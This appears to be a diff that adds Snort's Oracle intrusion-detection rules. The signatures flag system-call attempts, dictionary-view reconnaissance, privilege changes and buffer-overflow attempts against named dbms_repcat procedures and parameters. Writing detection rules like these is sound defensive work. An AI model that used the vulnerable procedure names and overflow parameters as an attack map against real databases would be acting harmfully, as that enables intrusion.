+  http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD
+and
+  http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD
 
 If the version you run ($0) is already up to date, please
 send the following data and any information you think might be
--- snort-2.8.5.2.orig/rules/oracle.rules
+++ snort-2.8.5.2/rules/oracle.rules
@@ -0,0 +1,375 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: oracle.rules,v 1.17.2.3.2.4 2005/05/31 17:13:03 mwatchinski Exp $
+#----------
+# ORACLE RULES
+#----------
+#
+# These signatures detect unusual and potentially malicious oracle traffic.
+# These signatures are based from signatures written by Hank Leininger
+# <hlein@progressive-comp.com> for Enterasys's Dragon IDS that he released
+# publicly.
+#
+# These signatures are not enabled by default as they may generate false
+# positive alarms on networks that do oracle development.  If you use an
+# Oracle based web application, you should set the destination port to
+# 80 to catch attackers attempting to exploit your web application.
+#
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE EXECUTE_SYSTEM attempt"; flow:to_server,established; content:"EXECUTE_SYSTEM"; nocase; classtype:system-call-detect; sid:1673; rev:3;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE connect_data remote version detection attempt"; flow:to_server,established; content:"connect_data|28|command=version|29|"; nocase; classtype:protocol-command-decode; sid:1674; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE misparsed login response"; flow:from_server,established; content:"description=|28|"; nocase; content:!"connect_data=|28|sid="; nocase; content:!"address=|28|protocol=tcp"; nocase; classtype:suspicious-login; sid:1675; rev:4;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE select union attempt"; flow:to_server,established; content:"select "; nocase; content:" union "; nocase; classtype:protocol-command-decode; sid:1676; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE select like '%' attempt"; flow:to_server,established; content:" where "; nocase; content:" like '%'"; nocase; classtype:protocol-command-decode; sid:1677; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE select like '%' attempt backslash escaped"; flow:to_server,established; content:" where "; nocase; content:" like |22|%|22|"; nocase; classtype:protocol-command-decode; sid:1678; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE describe attempt"; flow:to_server,established; content:"describe "; nocase; classtype:protocol-command-decode; sid:1679; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_constraints access"; flow:to_server,established; content:"all_constraints"; nocase; classtype:protocol-command-decode; sid:1680; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_views access"; flow:to_server,established; content:"all_views"; nocase; classtype:protocol-command-decode; sid:1681; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_source access"; flow:to_server,established; content:"all_source"; nocase; classtype:protocol-command-decode; sid:1682; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_tables access"; flow:to_server,established; content:"all_tables"; nocase; classtype:protocol-command-decode; sid:1683; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_tab_columns access"; flow:to_server,established; content:"all_tab_columns"; nocase; classtype:protocol-command-decode; sid:1684; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE all_tab_privs access"; flow:to_server,established; content:"all_tab_privs"; nocase; classtype:protocol-command-decode; sid:1685; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dba_tablespace access"; flow:to_server,established; content:"dba_tablespace"; nocase; classtype:protocol-command-decode; sid:1686; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dba_tables access"; flow:to_server,established; content:"dba_tables"; nocase; classtype:protocol-command-decode; sid:1687; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE user_tablespace access"; flow:to_server,established; content:"user_tablespace"; nocase; classtype:protocol-command-decode; sid:1688; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.all_users access"; flow:to_server,established; content:"sys.all_users"; nocase; classtype:protocol-command-decode; sid:1689; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE grant attempt"; flow:to_server,established; content:"grant "; nocase; content:" to "; nocase; classtype:protocol-command-decode; sid:1690; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE ALTER USER attempt"; flow:to_server,established; content:"alter user"; nocase; content:" identified by "; nocase; classtype:protocol-command-decode; sid:1691; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE drop table attempt"; flow:to_server,established; content:"drop table"; nocase; classtype:protocol-command-decode; sid:1692; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE create table attempt"; flow:to_server,established; content:"create table"; nocase; classtype:protocol-command-decode; sid:1693; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE alter table attempt"; flow:to_server,established; content:"alter table"; nocase; classtype:protocol-command-decode; sid:1694; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE truncate table attempt"; flow:to_server,established; content:"truncate table"; nocase; classtype:protocol-command-decode; sid:1695; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE create database attempt"; flow:to_server,established; content:"create database"; nocase; classtype:protocol-command-decode; sid:1696; rev:5;)
+# alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE alter database attempt"; flow:to_server,established; content:"alter database"; nocase; classtype:protocol-command-decode; sid:1697; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.generate_replication_support buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.generate_replication_support"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*package_prefix[\r\n\s]*=>[\r\n\s]*\2|package_prefix\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*procedure_prefix[\r\n\s]*=>[\r\n\s]*\2|procedure_prefix\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){3}(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck93.html; classtype:attempted-user; sid:2576; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_grouped_column buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_grouped_column"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*oname[\r\n\s]*=>[\r\n\s]*\2|oname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2599; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE add_grouped_column ordered sname/oname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_grouped_column"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))|((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,)\s*((\x27[^\x27]{1000,})|(\x22[^\x22 ]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck633.html; classtype:attempted-user; sid:2600; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_master_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_master_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2601; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE drop_master_repgroup ordered gname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_master_repgroup"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck87.html; classtype:attempted-user; sid:2602; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*fname[\r\n\s]*=>[\r\n\s]*\2|fname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck633.html; classtype:attempted-user; sid:2603; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE create_mview_repgroup ordered fname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_mview_repgroup"; nocase; pcre:"/\(((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,){4}\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck633.html; classtype:attempted-user; sid:2604; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.compare_old_values buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.compare_old_values"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*operation[\r\n\s]*=>[\r\n\s]*\2|operation\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck91.html; classtype:attempted-user; sid:2605; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2606; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE comment_on_repobject ordered type buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_repobject"; nocase; pcre:"/\((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,){2}\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rsmi"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2607; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sysdbms_repcat_rgt.check_ddl_text buffer overflow attempt"; flow:to_server,established; content:"sysdbms_repcat_rgt.check_ddl_text"; nocase; pcre:"/\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2608; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.cancel_statistics buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.cancel_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*oname[\r\n\s]*=>[\r\n\s]*\2|oname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2609; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE cancel_statistics ordered sname/oname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.cancel_statistics"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))|((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,)\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck633.html; classtype:attempted-user; sid:2610; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE LINK metadata buffer overflow attempt"; flow:to_server,established; content:"CREATE"; nocase; content:"DATABASE"; nocase; content:"LINK"; nocase; pcre:"/USING\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:bugtraq,7453; reference:cve,2003-0222; reference:url,archives.neohapsis.com/archives/bugtraq/2003-04/0360.html; classtype:attempted-user; sid:2611; rev:3;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_auth.revoke_surrogate_repcat buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_auth.revoke_surrogate_repcat"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*userid[\r\n\s]*=>[\r\n\s]*\2|userid\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2612; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE revoke_surrogate_repcat ordered userid buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_auth.revoke_surrogate_repcat"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2613; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE time_zone buffer overflow attempt"; flow:to_server,established; content:"TIME_ZONE"; nocase; pcre:"/TIME_ZONE\s*=\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/msi"; reference:bugtraq,9587; reference:url,www.nextgenss.com/advisories/ora_time_zone.txt; classtype:attempted-user; sid:2614; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_auth.grant_surrogate_repcat buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_auth.grant_surrogate_repcat"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*userid[\r\n\s]*=>[\r\n\s]*\2|userid\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2615; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE grant_surrogate_repcat ordered userid buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_auth.grant_surrogate_repcat"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2616; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat.alter_mview_propagation buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat.alter_mview_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2617; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE alter_mview_propagation ordered gname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_mview_propagation"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2618; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_master_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2619; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE alter_master_repobject ordered type buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_master_repobject"; nocase; pcre:"/\((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,){2}\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rsmi"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2620; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_sna_utl.register_flavor_change buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_sna_utl.register_flavor_change"; nocase; pcre:"/\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2621; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_utl.drop_an_object buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_utl.drop_an_object"; nocase; pcre:"/\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2622; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_sna_utl.create_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_sna_utl.create_snapshot_repgroup"; nocase; pcre:"/\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2623; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_admin.unregister_user_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_admin.unregister_user_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*privilege_type[\r\n\s]*=>[\r\n\s]*\2|privilege_type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck94.html; classtype:attempted-user; sid:2624; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE unregister_user_repgroup ordered privilege_type buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_admin.unregister_user_repgroup"; nocase; pcre:"/\(((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,)\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck94.html; classtype:attempted-user; sid:2625; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.send_old_values buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.send_old_values"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*operation[\r\n\s]*=>[\r\n\s]*\2|operation\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck91.html; classtype:attempted-user; sid:2626; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.repcat_import_check buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.repcat_import_check"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gowner[\r\n\s]*=>[\r\n\s]*\2|gowner\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(true|false)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2627; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE repcat_import_check ordered gowner/gname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.repcat_import_check"; nocase; pcre:"/\((\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))|\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,\s*(true|false)\s*,\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2628; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_admin.register_user_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_admin.register_user_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*privilege_type[\r\n\s]*=>[\r\n\s]*\2|privilege_type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck94.html; classtype:attempted-user; sid:2629; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE register_user_repgroup ordered privilege_type buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_admin.register_user_repgroup"; nocase; pcre:"/\(((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,)\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,})))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck94.html; classtype:attempted-user; sid:2630; rev:1;)
+
